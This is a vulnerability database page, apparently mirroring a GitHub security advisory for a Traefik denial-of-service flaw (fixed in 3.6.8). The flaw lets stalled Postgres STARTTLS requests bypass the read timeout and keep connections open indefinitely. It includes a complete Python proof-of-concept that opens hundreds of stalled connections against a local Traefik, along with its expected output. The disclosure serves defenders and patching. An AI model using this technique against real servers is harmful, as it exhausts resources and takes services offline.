Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-89p3-4642-cr2w

Опубликовано: 12 фев. 2026
Источник: github
Github: Прошло ревью
CVSS3: 7.5

Описание

Traefik: TCP readTimeout bypass via STARTTLS on Postgres

Impact

There is a potential vulnerability in Traefik managing STARTTLS requests.

An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.

Patches

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description

Summary

A remote, unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.

This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).

Details

Traefik applies per-connection deadlines based on entryPoints.<name>.transport.respondingTimeouts.readTimeout to prevent protocol detection and request reads from blocking forever (see pkg/server/server_entrypoint_tcp.go, which sets SetReadDeadline on accepted connections).

However, in the TCP router protocol detection path (pkg/server/router/tcp/router.go), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:

  • detect Postgres SSLRequest (8-byte signature),
  • call conn.SetDeadline(time.Time{}) (clears all deadlines),
  • then enter the Postgres STARTTLS handler (servePostgres).

The Postgres handler (pkg/server/router/tcp/postgres.go) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (clientHelloInfo(br)), but with deadlines removed. An attacker can therefore:

  1. connect to any internet-exposed TCP entrypoint,
  2. send the Postgres SSLRequest (SSL negotiation request),
  3. receive Traefik’s single-byte response (S),
  4. stop sending any further bytes.

Each such connection remains open past the configured readTimeout (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.

Of note: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.

Tested versions:

  • v3.6.7
  • master at commit a4a91344edcdd6276c1b766ca19ee3f0e346480f

PoC

Prerequisites:

  • Linux host
  • Python 3
  • A prebuilt Traefik v3.6.7 binary. The script below expects the path in the script’s TRAEFIK_BIN constant (edit if needed).

Execute the script below:

Script (Click to expand)
#!/usr/bin/env python3 from __future__ import annotations import os import socket import subprocess import tempfile import time from typing import Final # Hardcode the Traefik binary path. Edit as needed. TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik" HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080 STARTUP_SLEEP_SECS: Final[float] = 2.0 READ_TIMEOUT_SECS: Final[float] = 2.0 SLEEP_SECS: Final[float] = 3.5 N_CONNS: Final[int] = 300 POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F]) def fd_count(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd")) def open_idle_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): conns.append(socket.create_connection((HOST, PORT))) return conns def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): s = socket.create_connection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRES_SSLREQUEST) try: _ = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns def close_all(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(`/`)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ ) proc = subprocess.Popen( [ TRAEFIK_BIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUP_SLEEP_SECS) pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None") ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIK_BIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s") base = fd_count(pid) print(f"traefik_pid={pid} fd_base={base}") idle = open_idle_conns(N_CONNS) fd_after_open_idle = fd_count(pid) print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}") time.sleep(SLEEP_SECS) fd_after_sleep_idle = fd_count(pid) print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}") close_all(idle) pg = open_postgres_sslrequest_conns(N_CONNS) fd_after_open_pg = fd_count(pid) print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}") time.sleep(SLEEP_SECS) fd_after_sleep_pg = fd_count(pid) print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}") close_all(pg) if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0) if __name__ == "__main__": main()
Expected output (Click to expand)
Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefik_pid=46204 fd_base=6 baseline_opened=300 fd_after_open=128 delta=122 baseline_after_sleep fd=6 delta_from_base=0 candidate_opened=300 fd_after_open=306 delta=300 candidate_after_sleep fd=306 delta_from_base=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.

Impact

Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a readTimeout is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.

Пакеты

Наименование

github.com/traefik/traefik/v3

go
Затронутые версииВерсия исправления

<= 3.6.7

3.6.8

EPSS

Процентиль: 5%
0.00018
Низкий

7.5 High

CVSS3

Дефекты

CWE-400

Связанные уязвимости

CVSS3: 7.5
redhat
около 1 месяца назад

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.8, there is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. This vulnerability is fixed in 3.6.8.

CVSS3: 7.5
nvd
около 1 месяца назад

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.8, there is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. This vulnerability is fixed in 3.6.8.

CVSS3: 7.5
debian
около 1 месяца назад

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.8, th ...

EPSS

Процентиль: 5%
0.00018
Низкий

7.5 High

CVSS3

Дефекты

CWE-400